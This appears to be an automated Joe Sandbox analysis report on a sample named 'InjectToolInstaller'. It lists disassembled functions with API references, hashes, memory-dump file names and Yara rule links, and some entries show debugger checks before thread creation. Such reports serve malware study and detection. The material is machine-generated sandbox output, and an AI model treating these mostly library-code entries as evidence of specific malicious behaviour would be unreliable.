Instruction ID: feff366edd6bec4270d6dbaeba8c1c252f1e35828d7d60de496378bfef26a149
Opcode Fuzzy Hash: e3c920d651c9d09cef87aeb8cab276e4da4df0952dd7b48aa4de9bd099ebdfb4
Instruction Fuzzy Hash: 73E067F7681305AFD730BFF5B98D9163A6CA708B4E704082DFB96D2329D7748900AB24

Uniqueness

Uniqueness Score: -1.00%

Function 013B9386 Relevance: 12.1, APIs: 8, Instructions: 100COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 013B939F
_memcmp.LIBVCRUNTIME ref: 013B93B2
_memcmp.LIBVCRUNTIME ref: 013B93CF
_memcmp.LIBVCRUNTIME ref: 013B93ED
_memcmp.LIBVCRUNTIME ref: 013B9408

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: e44cee0f5b673f640a737d2c38c9995ab3bebedb7c01b483920fe1145872cd9e
Instruction ID: 93502efcb3d23ed39351e505944c9ed1f355620453738d0ab22441a940441fd7
Opcode Fuzzy Hash: e44cee0f5b673f640a737d2c38c9995ab3bebedb7c01b483920fe1145872cd9e
Instruction Fuzzy Hash: 9D2180F160450EBBD705CA2ACCC1FFB737CAB51A8CB148029FE08AA546F274DE558791

Uniqueness

Uniqueness Score: -1.00%

Function 013F75C9 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0043E280,0043E280,?,7FFFFFFF,?,?,013F78A2,0043E280,0043E280,?,0043E280,?,?,?,?,0043E280), ref: 013F7675
MultiByteToWideChar.KERNEL32(0043E280,00000009,0043E280,0043E280,00000000,00000000,?,013F78A2,0043E280,0043E280,?,0043E280,?,?,?,?), ref: 013F76F8
MultiByteToWideChar.KERNEL32(0043E280,00000001,0043E280,0043E280,00000000,013F78A2,?,013F78A2,0043E280,0043E280,?,0043E280,?,?,?,?), ref: 013F778B
MultiByteToWideChar.KERNEL32(0043E280,00000009,0043E280,0043E280,00000000,00000000,?,013F78A2,0043E280,0043E280,?,0043E280,?,?,?,?), ref: 013F77A2

Part of subcall function 013D1C49: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,013A13B5,00000000,?,013A12EE,?), ref: 013D1C7B

MultiByteToWideChar.KERNEL32(0043E280,00000001,0043E280,0043E280,00000000,0043E280,?,013F78A2,0043E280,0043E280,?,0043E280,?,?,?,?), ref: 013F781E
__freea.LIBCMT ref: 013F7849
__freea.LIBCMT ref: 013F7855

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 99cb6b472199c6572cf8eb1102c1cf0c0c98684898cf7944e2209b9289bc9b95
Instruction ID: 375b1185cf090656bf57661ec63913b16fe17c3d20a36e57a2015f399e735f5e
Opcode Fuzzy Hash: 99cb6b472199c6572cf8eb1102c1cf0c0c98684898cf7944e2209b9289bc9b95
Instruction Fuzzy Hash: 6891A572E102169ADF218E7CCC81EEEBFA9AF19668F14456DEB05E7240DB35D844CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013EAA76 Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 013EAAE5
_free.LIBCMT ref: 013EAAF3
_free.LIBCMT ref: 013EAC21
_free.LIBCMT ref: 013EAC2C

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f5caf882fd66bc306518eb9f589b677e721fbb9906e6a8e1c208a0f5aec0c1b5
Instruction ID: 3f6174b6c39e90aa45c693b6e1ee53cbaea1476d76dd8cc642896285eea9b0bb
Opcode Fuzzy Hash: f5caf882fd66bc306518eb9f589b677e721fbb9906e6a8e1c208a0f5aec0c1b5
Instruction Fuzzy Hash: 4A61D272900316EFDF20DFACD845B9ABBF6EF14714F14416AE945EB281D730A981DB90

Uniqueness

Uniqueness Score: -1.00%

Function 013CA400 Relevance: 10.7, APIs: 7, Instructions: 202COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getSymbolName.LIBCMT ref: 013CA488

Part of subcall function 013CC4FB: UnDecorator::getTemplateName.LIBVCRUNTIME ref: 013CC513

DName::operator+=.LIBVCRUNTIME ref: 013CA50E
DName::operator+=.LIBCMT ref: 013CA547
DName::operator+=.LIBVCRUNTIME ref: 013CA55F
DName::operator+=.LIBCMT ref: 013CA57D

Part of subcall function 013C83BE: DName::operator=.LIBVCRUNTIME ref: 013C83DF

DName::operator+=.LIBVCRUNTIME ref: 013CA595

Part of subcall function 013C82C8: DName::operator+=.LIBCMT ref: 013C82E4

DName::DName.LIBVCRUNTIME ref: 013CA645

Part of subcall function 013C857E: UnDecorator::getTypeEncoding.LIBVCRUNTIME ref: 013C858E

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+=$Decorator::getName$EncodingName::Name::operator=SymbolTemplateType
String ID:
API String ID: 734634238-0
Opcode ID: 82c10dd942f2c5fcd0dee3e1b1556756289e51ec5ae3c6ae48ff961e5b9ced7b
Instruction ID: 8239b938c4704eb701e97642a9f33644276ff99b705a357d7a0fa2d57746c381
Opcode Fuzzy Hash: 82c10dd942f2c5fcd0dee3e1b1556756289e51ec5ae3c6ae48ff961e5b9ced7b
Instruction Fuzzy Hash: CB812AB6D0120E9FDB11CFA8D584AEEBBF4AB18A58F14805ED951A7751E734AE00CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013F7BAD Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 013F7BEF
__fassign.LIBCMT ref: 013F7C6A
__fassign.LIBCMT ref: 013F7C85
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 013F7CAB
WriteFile.KERNEL32(?,00000000,00000000,013F8322,00000000), ref: 013F7CCA
WriteFile.KERNEL32(?,?,00000001,013F8322,00000000), ref: 013F7D03

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 8cc9a0ae85fa2bb621d3e2e7dc24459cfb5aea23af8347004361d252ca8f0834
Instruction ID: 0932cf3ed15ad8c959e6e692490710d68288689f0298089971764b9859099844
Opcode Fuzzy Hash: 8cc9a0ae85fa2bb621d3e2e7dc24459cfb5aea23af8347004361d252ca8f0834
Instruction Fuzzy Hash: 02518272A002499FDB10CFA8D885EEEBBF8EF09314F14416EFA55E7291D7709941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013A4E60 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 139COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013A4E67

Strings

Unknown switch:, xrefs: 013A4FDD
Too long switch:, xrefs: 013A4FD6
Multiple instances for switch:, xrefs: 013A4F20
Incorrect switch postfix:, xrefs: 013A4F85
Too short switch:, xrefs: 013A4F3A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID: Incorrect switch postfix:$Multiple instances for switch:$Too long switch:$Too short switch:$Unknown switch:
API String ID: 431132790-2104980125
Opcode ID: a4cea369ced7afd49b47c0684d87d9e1c6e1697aa6d76242822ed4aeff42fc12
Instruction ID: b08b0460f410dfea5723d02646381e1391732db22dbc1f11e00af6e2a22dd8c9
Opcode Fuzzy Hash: a4cea369ced7afd49b47c0684d87d9e1c6e1697aa6d76242822ed4aeff42fc12
Instruction Fuzzy Hash: 9A51FF31A041069FDB15CF2CC589EACBBA9FF41318F9DD25AE6189F281D7B0E949CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013C804B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 013C809A

Part of subcall function 013C7C53: DName::doPchar.LIBVCRUNTIME ref: 013C7C7A

DName::operator+.LIBCMT ref: 013C80A1

Part of subcall function 013C821E: DName::operator+=.LIBVCRUNTIME ref: 013C8234

UnDecorator::getTemplateName.LIBVCRUNTIME ref: 013C80B7
DName::operator=.LIBVCRUNTIME ref: 013C812C
DName::getString.LIBVCRUNTIME ref: 013C817A

Strings

CV: , xrefs: 013C8092

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name$Decorator::getName::Name::doName::getName::operator+Name::operator+=Name::operator=PcharStringTemplate
String ID: CV:
API String ID: 3458659895-3725821052
Opcode ID: f95147db225d964243529d3b26e2c34bbecfcead3776cd3aed987e231ac56003
Instruction ID: 4c01da9529f4db5f6f28ab658c5bbf0f133d705b14c25bb5935d9d2a41d20735
Opcode Fuzzy Hash: f95147db225d964243529d3b26e2c34bbecfcead3776cd3aed987e231ac56003
Instruction Fuzzy Hash: F5412672A042499FEF26DB7DD880AE97FF9EB49E48F0440DDD20287666D7705E42CB10

Uniqueness

Uniqueness Score: -1.00%

Function 013B76EC Relevance: 10.6, APIs: 7, Instructions: 90COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 013B7705
_memcmp.LIBVCRUNTIME ref: 013B7718
_memcmp.LIBVCRUNTIME ref: 013B7735
_memcmp.LIBVCRUNTIME ref: 013B7750
_memcmp.LIBVCRUNTIME ref: 013B776B

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 209e0ca6e92a9b7db4b8f1a8d5368b5c496141abde11c8995f99335ede2ed781
Instruction ID: e2a28aa7b57cfa6b2ba81c832e8743fbb5011bb8a7849818f860aed8c0080122
Opcode Fuzzy Hash: 209e0ca6e92a9b7db4b8f1a8d5368b5c496141abde11c8995f99335ede2ed781
Instruction Fuzzy Hash: 52217F7560010ABBD7059A1ADCC2FBB73BDEB91ACCB244029FD0496686F230DE9587A1

Uniqueness

Uniqueness Score: -1.00%

Function 013CA332 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 013C7C0A: _HeapManager::getMemory.LIBVCRUNTIME ref: 013C7C23
Part of subcall function 013C7C0A: pDNameNode::pDNameNode.LIBCMT ref: 013C7C31

DName::DName.LIBVCRUNTIME ref: 013CA383
DName::DName.LIBVCRUNTIME ref: 013CA3ED
DName::operator+.LIBCMT ref: 013CA3F4

Strings

void, xrefs: 013CA37E
void , xrefs: 013CA394

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name$Name::$HeapManager::getMemoryName::operator+NodeNode::p
String ID: void$void
API String ID: 3679509337-3746155364
Opcode ID: 363148d530f91db662f0097f53b4cd1e0a2e272e60e60a4ac8367586884a028b
Instruction ID: 02cbc4db0b647bad7f133fcd7722b7b4068f8b1e3f42197bb27af65b663933d0
Opcode Fuzzy Hash: 363148d530f91db662f0097f53b4cd1e0a2e272e60e60a4ac8367586884a028b
Instruction Fuzzy Hash: 8421217690010EEFDF01DFE8CC51AEE7FB9EB14A48F10806EEA0597150F7719A858B90

Uniqueness

Uniqueness Score: -1.00%

Function 013EB0B7 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 013EAD80: _free.LIBCMT ref: 013EADA9

_free.LIBCMT ref: 013EB105

Part of subcall function 013D1C0F: HeapFree.KERNEL32(00000000,00000000), ref: 013D1C25
Part of subcall function 013D1C0F: GetLastError.KERNEL32(?,?,013EADAE,?,00000000,?,00000000,?,013EB0D0,?,00000007,?,?,013EBF1C,?,?), ref: 013D1C37

_free.LIBCMT ref: 013EB110
_free.LIBCMT ref: 013EB11B
_free.LIBCMT ref: 013EB16F
_free.LIBCMT ref: 013EB17A
_free.LIBCMT ref: 013EB185
_free.LIBCMT ref: 013EB190

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e29e9dd5b05cf9a6b08dfab19672a5f400f2636faf84321fa603ae4a5f988a0b
Instruction ID: 41bd69886637828fbfe61b9428bb5a40c508054ec551183fc1787310aebe4d69
Opcode Fuzzy Hash: e29e9dd5b05cf9a6b08dfab19672a5f400f2636faf84321fa603ae4a5f988a0b
Instruction Fuzzy Hash: F4116073540B19BBDA21BBB8CC09FCB77EDAF1074AF410815E299A70A0DA76B5548760

Uniqueness

Uniqueness Score: -1.00%

Function 013CCCB7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 013CCCF6
DName::operator+.LIBCMT ref: 013CCCFD
DName::DName.LIBVCRUNTIME ref: 013CCD1F
DName::operator+.LIBCMT ref: 013CCD26
DName::operator+.LIBCMT ref: 013CCD2D

Strings

throw(, xrefs: 013CCCEE, 013CCD17

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: da5668e4761f58b88fc475a155ccb072620f372a19caea9753d5b8564ae90272
Instruction ID: 629e35163a66e51e06e9827a07b001b372c7113e7624e2e8a08c0cb55f369135
Opcode Fuzzy Hash: da5668e4761f58b88fc475a155ccb072620f372a19caea9753d5b8564ae90272
Instruction Fuzzy Hash: A5018831A0060EAFDF00EBA9CC59FFD7BB9EB14B08F00445DE9099B190EB719E448B80

Uniqueness

Uniqueness Score: -1.00%

Function 013D19CF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 013D19ED

Part of subcall function 013D1C0F: HeapFree.KERNEL32(00000000,00000000), ref: 013D1C25
Part of subcall function 013D1C0F: GetLastError.KERNEL32(?,?,013EADAE,?,00000000,?,00000000,?,013EB0D0,?,00000007,?,?,013EBF1C,?,?), ref: 013D1C37

_free.LIBCMT ref: 013D19FF
_free.LIBCMT ref: 013D1A12
_free.LIBCMT ref: 013D1A23
_free.LIBCMT ref: 013D1A34

Strings

@C, xrefs: 013D1A2E

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: @C
API String ID: 776569668-1618053064
Opcode ID: 8e19e0a240702547d3e6fb3a78c0c896745ef81c439b96dd90215068bd152154
Instruction ID: 8f49e33bfdabedef694b04289779249b0c02c08136b2a727eca8aeea6eaebede
Opcode Fuzzy Hash: 8e19e0a240702547d3e6fb3a78c0c896745ef81c439b96dd90215068bd152154
Instruction Fuzzy Hash: 42F08CB2B122239BCA76AF2CB980C183F66F7147653212207F005D727CCBB405E28BC0

Uniqueness

Uniqueness Score: -1.00%

Function 013CC1A1 Relevance: 9.1, APIs: 6, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 013CD280: Replicator::operator[].LIBVCRUNTIME ref: 013CD2B8

DName::operator=.LIBVCRUNTIME ref: 013CC241

Part of subcall function 013CBDEF: DName::DName.LIBVCRUNTIME ref: 013CBE4F
Part of subcall function 013CBDEF: DName::operator+.LIBCMT ref: 013CBE56
Part of subcall function 013CBDEF: DName::DName.LIBVCRUNTIME ref: 013CBE77
Part of subcall function 013CBDEF: DName::operator+.LIBCMT ref: 013CBE7E
Part of subcall function 013CBDEF: UnDecorator::getLexicalFrame.LIBCMT ref: 013CBEE9
Part of subcall function 013CBDEF: DName::operator+.LIBCMT ref: 013CC121

DName::DName.LIBVCRUNTIME ref: 013CC257

Part of subcall function 013C7C86: DNameStatusNode::make.LIBCMT ref: 013C7CAF

DName::operator+.LIBCMT ref: 013CC25E
DName::operator+.LIBCMT ref: 013CC205

Part of subcall function 013C821E: DName::operator+=.LIBVCRUNTIME ref: 013C8234

DName::operator+.LIBCMT ref: 013CC1FE

Part of subcall function 013C8284: DName::operator+=.LIBCMT ref: 013C829A

DName::operator+.LIBCMT ref: 013CC265

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+$Name$Name::$Name::operator+=$Decorator::getFrameLexicalName::operator=Node::makeReplicator::operator[]Status
String ID:
API String ID: 4092630336-0
Opcode ID: 48ef2d2308d409468e0c31f0c3054ab8ecee14eb7b2b730aa2c39d0fb0e34231
Instruction ID: af56b1ae88f7b205c1eedadfca21e98e789e44d267d86dc2703bdaf9d9751ac2
Opcode Fuzzy Hash: 48ef2d2308d409468e0c31f0c3054ab8ecee14eb7b2b730aa2c39d0fb0e34231
Instruction Fuzzy Hash: AC31A2726006059FCF10DFACC840AEABBEDEF55B08F14446DE68DC7651E6319D408B90

Uniqueness

Uniqueness Score: -1.00%

Function 013C93AB Relevance: 9.1, APIs: 6, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+=.LIBCMT ref: 013C93F0
Replicator::operator[].LIBVCRUNTIME ref: 013C9420
DName::operator+=.LIBVCRUNTIME ref: 013C9428
Replicator::operator+=.LIBCMT ref: 013C9463

Part of subcall function 013C845F: _HeapManager::getMemory.LIBVCRUNTIME ref: 013C847C

DName::operator+=.LIBVCRUNTIME ref: 013C946E
DName::operator+=.LIBCMT ref: 013C949C

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+=$HeapManager::getMemoryReplicator::operator+=Replicator::operator[]
String ID:
API String ID: 3783121924-0
Opcode ID: 6d30d235a4b99fe3aaabb1e44361b71554c8b153948af27aa6b293298e03e1f5
Instruction ID: 2f40dc1199b60446aa721329629be301570151996db965a0633fb540e81d5b2d
Opcode Fuzzy Hash: 6d30d235a4b99fe3aaabb1e44361b71554c8b153948af27aa6b293298e03e1f5
Instruction Fuzzy Hash: F031EF726006149FEB20DBACD854BFEBBE9EB45F2DF01448DD281E7A80DBB59D408750

Uniqueness

Uniqueness Score: -1.00%

Function 013E7155 Relevance: 9.1, APIs: 6, Instructions: 86threadCOMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 013E7166
OutputDebugStringA.KERNEL32(?), ref: 013E7178
IsDebuggerPresent.KERNEL32 ref: 013E7193
CreateThread.KERNEL32(00000000,00000000,013E73C7,?,00000000,00000000), ref: 013E71CD
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 013E71DE
CloseHandle.KERNEL32(00000000), ref: 013E71F1

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: DebuggerPresent$CloseCreateDebugHandleObjectOutputSingleStringThreadWait
String ID:
API String ID: 3708507090-0
Opcode ID: 1a0d956f3659d085c86420838cc4409c13dc76a91b4021cf15162de640249126
Instruction ID: 05281b70d0f500c295a3e89bfe566e6de396b9a218233c445d23902a17e2cd10
Opcode Fuzzy Hash: 1a0d956f3659d085c86420838cc4409c13dc76a91b4021cf15162de640249126
Instruction Fuzzy Hash: F52192769413297BEB209EAD9C0DAAE7BEDEF56728F144205FD21E32C1D630C50287A0

Uniqueness

Uniqueness Score: -1.00%

Function 013E722E Relevance: 9.1, APIs: 6, Instructions: 86threadCOMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 013E723F
OutputDebugStringW.KERNEL32(?), ref: 013E7251
IsDebuggerPresent.KERNEL32 ref: 013E726C
CreateThread.KERNEL32(00000000,00000000,013E73E9,?,00000000,00000000), ref: 013E72A6
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 013E72B7
CloseHandle.KERNEL32(00000000), ref: 013E72CA

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: DebuggerPresent$CloseCreateDebugHandleObjectOutputSingleStringThreadWait
String ID:
API String ID: 3708507090-0
Opcode ID: 0432160727bca076a0c278d9f25814dfbd6d324f147cdb508a29251c02a97e43
Instruction ID: 6d4022f8033ba857992cd7c0e88168ba90df957c0884b66df83138067151aae5
Opcode Fuzzy Hash: 0432160727bca076a0c278d9f25814dfbd6d324f147cdb508a29251c02a97e43
Instruction Fuzzy Hash: F321A436941329ABDB219EAD9C4DAAE7BECEF56728F044609FD21E72C1D731850187E0

Uniqueness

Uniqueness Score: -1.00%

Function 013E59CB Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

